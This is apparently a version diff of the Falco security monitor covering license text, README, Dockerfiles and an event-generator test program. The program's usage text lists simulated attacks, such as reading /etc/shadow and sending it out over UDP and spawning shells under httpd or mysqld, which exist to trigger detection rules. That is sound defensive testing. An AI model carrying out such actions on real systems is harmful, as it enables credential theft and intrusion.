-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
 
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
 
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
 
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
 
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
 
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
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-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
 
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
 
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
 
-   END OF TERMS AND CONDITIONS
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
 
-   APPENDIX: How to apply the Apache License to your work.
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
 
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
 
-   Copyright [yyyy] [name of copyright owner]
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
 
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
 
-       http://www.apache.org/licenses/LICENSE-2.0
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
 
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+                            NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+* In addition, as a special exception, the copyright holders give
+* permission to link the code of portions of this program with the
+* OpenSSL library under certain conditions as described in each
+* individual source file, and distribute linked combinations
+* including the two.
+* You must obey the GNU General Public License in all respects
+* for all of the code used other than OpenSSL.  If you modify
+* file(s) with this exception, you may extend this exception to your
+* version of the file(s), but you are not obligated to do so.  If you
+* do not wish to do so, delete this exception statement from your
+* version.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License along
+    with this program; if not, write to the Free Software Foundation, Inc.,
+    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.

README.md

@@ -2,7 +2,7 @@
 
 #### Latest release
 
-**v0.12.1**
+**v0.8.0**
 Read the [change log](https://github.com/draios/falco/blob/dev/CHANGELOG.md)
 
 Dev Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=dev)](https://travis-ci.org/draios/falco)<br />
@@ -33,13 +33,14 @@ Documentation
 
 Join the Community
 ---
+* Contact the [official mailing list](https://groups.google.com/forum/#!forum/falco) for support and to talk with other users.
 * Follow us on [Twitter](https://twitter.com/sysdig) for general falco and sysdig news.
 * This is our [blog](https://sysdig.com/blog/), where you can find the latest [falco](https://sysdig.com/blog/tag/falco/) posts.
 * Join our [Public Slack](https://slack.sysdig.com) channel for sysdig and falco announcements and discussions.
 
 License Terms
 ---
-Falco is licensed to you under the [Apache 2.0](./COPYING) open source license.
+Falco is licensed to you under the [GPL 2.0](./COPYING) open source license.
 
 Contributor License Agreements
 ---

cpack/debian/conffiles

@@ -1,4 +1,3 @@
 /etc/falco/falco.yaml
 /etc/falco/falco_rules.yaml
-/etc/falco/rules.available/application_rules.yaml
 /etc/falco/falco_rules.local.yaml

docker/dev/Dockerfile

@@ -14,34 +14,28 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN apt-get update \
+RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
+ && apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
-	bc \
-	clang-7 \
-	ca-certificates \
 	curl \
-	dkms \
+	jq \
 	gnupg2 \
+	ca-certificates \
 	gcc \
 	gcc-5 \
-	gcc-6 \
-	gdb \
-	jq \
-	libc6-dev \
-	libelf-dev \
-	llvm-7 \
-	xz-utils \
- && rm -rf /var/lib/apt/lists/*
+	gcc-4.9 && rm -rf /var/lib/apt/lists/*
 
-# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
-# default to gcc-5.
-RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
+# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
+# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
+# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
+# by symlinking it to 4.9
 
-RUN rm -rf /usr/bin/clang \
- && rm -rf /usr/bin/llc \
- && ln -s /usr/bin/clang-7 /usr/bin/clang \
- && ln -s /usr/bin/llc-7 /usr/bin/llc
+RUN rm -rf /usr/bin/gcc \
+ && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
+ && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
+ && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
+ && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
 
 RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
  && curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
@@ -50,20 +44,7 @@ RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public |
  && apt-get clean \
  && rm -rf /var/lib/apt/lists/*
 
-# Some base images have an empty /lib/modules by default
-# If it's not empty, docker build will fail instead of
-# silently overwriting the existing directory
-RUN rm -df /lib/modules \
- && ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
-
-# debian:unstable head contains binutils 2.31, which generates
-# binaries that are incompatible with kernels < 4.16. So manually
-# forcibly install binutils 2.30-22 instead.
-RUN curl -s -o binutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils_2.30-22_amd64.deb \
- && curl -s -o libbinutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/libbinutils_2.30-22_amd64.deb \
- && curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
- && curl -s -o binutils-common_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-common_2.30-22_amd64.deb \
- && dpkg -i *binutils*.deb
+RUN ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
 
 COPY ./docker-entrypoint.sh /
 

docker/dev/docker-entrypoint.sh

@@ -1,22 +1,4 @@
 #!/bin/bash
-#
-# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
-#
-# This file is part of falco.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
 #set -e
 
 # Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module

docker/event-generator/Makefile

@@ -1,19 +1,2 @@
-#
-# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
-#
-# This file is part of falco .
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
 image:
 	docker build -t sysdig/falco-event-generator:latest .

docker/event-generator/event_generator.cpp

@@ -1,20 +1,19 @@
 /*
-Copyright (C) 2016-2018 Draios Inc dba Sysdig.
+Copyright (C) 2016 Draios inc.
 
 This file is part of falco.
 
-Licensed under the Apache License, Version 2.0 (the "License");
-you may not use this file except in compliance with the License.
-You may obtain a copy of the License at
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
 
-    http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing, software
-distributed under the License is distributed on an "AS IS" BASIS,
-WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-See the License for the specific language governing permissions and
-limitations under the License.
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
 
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
 */
 
 #include <cstdio>
@@ -51,8 +50,6 @@ void usage(char *program)
 	printf("                                                     then read a sensitive file\n");
 	printf("          write_rpm_database                         Write to files below /var/lib/rpm\n");
 	printf("          spawn_shell                                Run a shell (bash)\n");
-	printf("                                                     Used by spawn_shell_under_httpd below\n");
-	printf("          spawn_shell_under_httpd                    Run a shell (bash) under a httpd process\n");
 	printf("          db_program_spawn_process                   As a database program, try to spawn\n");
 	printf("                                                     another program\n");
 	printf("          modify_binary_dirs                         Modify a file below /bin\n");
@@ -67,7 +64,7 @@ void usage(char *program)
 	printf("          non_sudo_setuid                            Setuid as a non-root user\n");
 	printf("          create_files_below_dev                     Create files below /dev\n");
 	printf("          exec_ls                                    execve() the program ls\n");
-	printf("                                                     (used by user_mgmt_binaries, db_program_spawn_process)\n");
+	printf("                                                     (used by user_mgmt_binaries below)\n");
 	printf("          user_mgmt_binaries                         Become the program \"vipw\", which triggers\n");
 	printf("                                                     rules related to user management programs\n");
 	printf("          exfiltration                               Read /etc/shadow and send it via udp to a\n");
@@ -233,14 +230,9 @@ void spawn_shell() {
 	}
 }
 
-void spawn_shell_under_httpd() {
-	printf("Becoming the program \"httpd\" and then spawning a shell\n");
-	respawn("./httpd", "spawn_shell", "0");
-}
-
 void db_program_spawn_process() {
-	printf("Becoming the program \"mysql\" and then running ls\n");
-	respawn("./mysqld", "exec_ls", "0");
+	printf("Becoming the program \"mysql\" and then spawning a shell\n");
+	respawn("./mysqld", "spawn_shell", "0");
 }
 
 void modify_binary_dirs() {
@@ -297,21 +289,23 @@ void system_user_interactive() {
 }
 
 void network_activity() {
-	printf("Connecting a udp socket to 10.2.3.4:8192...\n");
+	printf("Opening a listening socket on port 8192...\n");
 	int rc;
 	int sock = socket(PF_INET, SOCK_DGRAM, 0);
 	struct sockaddr_in localhost;
 
 	localhost.sin_family = AF_INET;
 	localhost.sin_port = htons(8192);
-	inet_aton("10.2.3.4", &(localhost.sin_addr));
+	inet_aton("127.0.0.1", &(localhost.sin_addr));
 
-	if((rc = connect(sock, (struct sockaddr *) &localhost, sizeof(localhost))) != 0)
+	if((rc = bind(sock, (struct sockaddr *) &localhost, sizeof(localhost))) != 0)
 	{
 		fprintf(stderr, "Could not bind listening socket to localhost: %s\n", strerror(errno));
 		return;
 	}
 
+	listen(sock, 1);
+
 	close(sock);
 }
 
@@ -366,7 +360,6 @@ map<string, action_t> defined_actions = {{"write_binary_dir", write_binary_dir},
 					 {"read_sensitive_file_after_startup", read_sensitive_file_after_startup},
 					 {"write_rpm_database", write_rpm_database},
 					 {"spawn_shell", spawn_shell},
-					 {"spawn_shell_under_httpd", spawn_shell_under_httpd},
 					 {"db_program_spawn_process", db_program_spawn_process},
 					 {"modify_binary_dirs", modify_binary_dirs},
 					 {"mkdir_binary_dirs", mkdir_binary_dirs},
@@ -382,7 +375,7 @@ map<string, action_t> defined_actions = {{"write_binary_dir", write_binary_dir},
 
 // Some actions don't directly result in suspicious behavior. These
 // actions are excluded from the ones run with -a all.
-set<string> exclude_from_all_actions = {"spawn_shell", "exec_ls", "network_activity"};
+set<string> exclude_from_all_actions = {"exec_ls", "network_activity"};
 
 void create_symlinks(const char *program)
 {

docker/local/Dockerfile

@@ -14,52 +14,35 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN apt-get update \
+RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
+ && apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
-	bc \
-	clang-7 \
-	ca-certificates \
 	curl \
-	dkms \
+	jq \
 	gnupg2 \
+	ca-certificates \
 	gcc \
 	gcc-5 \
-	gcc-6 \
-	jq \
-	libc6-dev \
-	libelf-dev \
-	llvm-7 \
-	xz-utils \
- && rm -rf /var/lib/apt/lists/*
+	gcc-4.9 \
+	dkms && rm -rf /var/lib/apt/lists/*
 
-# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
-# default to gcc-5.
-RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
+# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
+# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
+# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
+# by symlinking it to 4.9
 
-RUN rm -rf /usr/bin/clang \
- && rm -rf /usr/bin/llc \
- && ln -s /usr/bin/clang-7 /usr/bin/clang \
- && ln -s /usr/bin/llc-7 /usr/bin/llc
+RUN rm -rf /usr/bin/gcc \
+ && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
+ && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
+ && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
+ && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
 
-# Some base images have an empty /lib/modules by default
-# If it's not empty, docker build will fail instead of
-# silently overwriting the existing directory
-RUN rm -df /lib/modules \
- && ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
+RUN ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
 
 ADD falco-${FALCO_VERSION}-x86_64.deb /
 RUN dpkg -i /falco-${FALCO_VERSION}-x86_64.deb
 
-# debian:unstable head contains binutils 2.31, which generates
-# binaries that are incompatible with kernels < 4.16. So manually
-# forcibly install binutils 2.30-22 instead.
-RUN curl -s -o binutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils_2.30-22_amd64.deb \
- && curl -s -o libbinutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/libbinutils_2.30-22_amd64.deb \
- && curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
- && curl -s -o binutils-common_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-common_2.30-22_amd64.deb \
- && dpkg -i *binutils*.deb
-
 COPY ./docker-entrypoint.sh /
 
 ENTRYPOINT ["/docker-entrypoint.sh"]

docker/local/docker-entrypoint.sh

@@ -1,22 +1,4 @@
 #!/bin/bash
-#
-# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
-#
-# This file is part of falco.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
 #set -e
 
 # Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module

docker/stable/Dockerfile

@@ -14,33 +14,28 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN apt-get update \
+RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
+ && apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
-	bc \
-	clang-7 \
-	ca-certificates \
 	curl \
-	dkms \
+	jq \
+	ca-certificates \
 	gnupg2 \
 	gcc \
 	gcc-5 \
-	gcc-6 \
-	jq \
-	libc6-dev \
-	libelf-dev \
-	llvm-7 \
-	xz-utils \
- && rm -rf /var/lib/apt/lists/*
+	gcc-4.9 && rm -rf /var/lib/apt/lists/*
 
-# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
-# default to gcc-5.
-RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
+# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
+# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
+# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
+# by symlinking it to 4.9
 
-RUN rm -rf /usr/bin/clang \
- && rm -rf /usr/bin/llc \
- && ln -s /usr/bin/clang-7 /usr/bin/clang \
- && ln -s /usr/bin/llc-7 /usr/bin/llc
+RUN rm -rf /usr/bin/gcc \
+ && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
+ && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
+ && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
+ && ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
 
 RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
  && curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
@@ -49,20 +44,7 @@ RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public |
  && apt-get clean \
  && rm -rf /var/lib/apt/lists/*
 
-# Some base images have an empty /lib/modules by default
-# If it's not empty, docker build will fail instead of
-# silently overwriting the existing directory
-RUN rm -df /lib/modules \
- && ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
-
-# debian:unstable head contains binutils 2.31, which generates
-# binaries that are incompatible with kernels < 4.16. So manually
-# forcibly install binutils 2.30-22 instead.
-RUN curl -s -o binutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils_2.30-22_amd64.deb \
